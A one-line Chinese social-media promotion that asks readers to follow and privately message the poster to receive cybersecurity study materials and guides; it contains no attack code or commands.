關(guān)注私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】